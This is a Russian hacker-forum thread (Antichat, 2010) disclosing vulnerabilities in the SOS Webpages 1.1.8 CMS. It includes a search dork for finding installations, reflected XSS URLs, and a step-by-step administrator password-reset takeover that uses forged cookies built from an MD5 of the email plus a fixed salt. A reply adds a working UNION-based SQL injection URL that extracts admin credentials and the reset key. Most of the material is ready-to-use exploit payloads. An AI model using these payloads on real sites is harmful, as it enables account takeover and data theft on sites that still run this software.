Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

14.02.2010, 17:31
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме: 835386
Репутация:
1463
|
|
Уязвимости SOS Webpages
SOS Webpages v1.1.8
http://sourceforge.net/projects/soswebpages/
Easy to learn website management system for novices wanting to manage site content.
Simple content management system for non-profit organizations, small businesses, professional offices,
small churches. Linux, Apache, PHP, MySQL for CMS.
dork "Powered by SOS Webpages"
--------------------
pXSS
http://localhost/soswp_1.1.8/admin/login.php?error=user&uri=admin_edit_page.php?pages _id=1>"><script>alert(121212);</script>
http://localhost/soswp_1.1.8/admin/login.php?sitelink=true&uri=1>"><script>alert(1212 12);</script>
--------------------
Сброс пароля администратора
примерная схема работы скриптов forgot password
1 запрашивается e-mail администратора
2 проверяется на соответствие тому, что хранится в базе
3 в куки пишется мыло и соленый хеш этого мыла
4 жмем кнопку Send Reset Link
5 в куках проверяется соответствие мыла и хеша
6 генерится новый пароль, пишется в буфер, пароль и линк для активации отсылается на мыло из кук
7 получаем мылом login, password, reset link
8 заходим по линку, пароль из буфера переписывается на место рабочего пароля администратора.
Слабое место
Пароль отсылается на мыло из кук,
обработка разбита на четыре скрипта.
Смотрим подробнее:
первые два скрипта нам не понадобятся, сами сформируем нужную информацию.
admin/admin_password_reset3.php
PHP код:
/* admin_password_reset3.php is part of the password recover process. */
include "admin_queries.php";
$admin_email=$_COOKIE["submitted_email"];
$gate=MD5($admin_email . "SOSWebpages");
$gateway=$_COOKIE["gate"];
...
if ($gate==$gateway) {
/* Make a key and a new password
Insert the key and the password in the database
Email the link with the key
When link is clicked key is checked, password is reset to new password, client sent to login.
*/
// Make a password
$chars = "ef3gSThij789ABCDEFkmnpqrstuvwxyz2456GHIJKLMNPQRUVWXYZ";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 4) {
$num = rand() % 50;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
$key=MD5($pass);
$link="http://$site_uri/admin/admin_password_reset4.php?key=$key";
//insert in the database
$query = "UPDATE " . $dbprefix . "hw_admin SET admin_newpassword='$pass', admin_key='$key' WHERE admin_id=1";
$dbh=mysql_connect($dbhhost,$dbhuser,$dbhpassword) or die ('I cannot connect to the database because: ' . mysql_error());
mysql_select_db($dbhdatabasename);
mysql_query($query);
// Some data for the message
$mailTo = $admin_email;
$mailFrom = "website@$site_uri";
$mailFromName = "$site_uri";
$mailSubject = PASSWORD_RESET;
$mailMessage = USERNAME_IS . " : $admin_user
" . PASSWORD_WILL_BE . ": $pass
" . NOTICE_AND_LINK . ":
$link
" . LOGIN_WITH_NEW_AND_CHANGE;
// Send mail
mail($mailTo, $mailSubject, $mailMessage, "From: $mailFromName <$mailFrom>\r\n");
admin/admin_password_reset4.php
PHP код:
Require "admin_queries.php";
$key=$_GET["key"];
$dbh=mysql_connect($dbhhost,$dbhuser,$dbhpassword) or die ('I cannot connect to the database because: ' . mysql_error());
mysql_select_db($dbhdatabasename);
$query = "SELECT admin_key, admin_newpassword, admin_time FROM " . $dbprefix . "hw_admin WHERE admin_id=1";
$result=mysql_query($query);
$num=mysql_num_rows($result);
$admin_time = mysql_result($result,0,"admin_time");
$admin_newpassword=mysql_result($result,0,"admin_newpassword");
$admin_key=mysql_result($result,0,"admin_key");
$admin_password=MD5($admin_newpassword);
$year = substr($admin_time,0,4);
$mon = substr($admin_time,5,2);
$day = substr($admin_time,8,2);
$hour = substr($admin_time,11,2);
$min = substr($admin_time,14,2);
$sec = substr($admin_time,17,2);
$Presettime=mktime($hour,$min,$sec,$mon,$day,$year);
if (((time()-$Presettime)<86400) and $admin_key == $key) {
$query = "UPDATE " . $dbprefix . "hw_admin SET admin_password='$admin_password' WHERE admin_id=1";
mysql_query($query);
Атака:
http://localhost/soswp_1.1.8/admin/admin_password_reset3.php
cookies:
submitted_email=MyMail@hotmail.com
gate=8de3b517babf6ba49104cc89edf057ee
где gate= md5 от строки MyMail@hotmail.comSOSWebpages
мыло указываем реальное (если нет возможности посмотеть непосредственно $dbprefix ."hw_admin")
получаем письмо вида
Код:
Your username is : admin
Your new password will be: IfutG
You must click the following link or cut an paste it in your browser within 24 hours. Here is the reset link:
http://localhost/SOSWP_1.1.8/admin/admin_password_reset4.php?key=58e69a383d5d41640d191ef2b6ef7fd6
Use the new password to login. It is HIGHLY recommended that you change your password to something you will remember.
Заходим по линку, вводим логин и новый пароль - мы в админке.
--------------------
|
|
|

14.02.2010, 22:13
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме: 835386
Репутация:
1463
|
|
SQL
найдено ElteRUS
Видел эту SQL по тексту (рядом аналогичная с event_id) но не нашел вызова.
Вызов найден, по умолчанию Photo Gallery не присутствует в главном меню, нужно его добавить и pages_id должен указывать на этот модуль.
Подтверждаю SQL_inj работает, теперь можно указывать фиктивное мыло, а информацию получать из
http://localhost/SOSWP_1.1.8/index.php?pages_id=6&photo_id=-1+union+select+1,2,3,concat_ws(0x2F,admin_user,adm in_newpassword,admin_key),5,6+from+sos_hw_admin
Последний раз редактировалось nikp; 14.02.2010 в 23:22..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|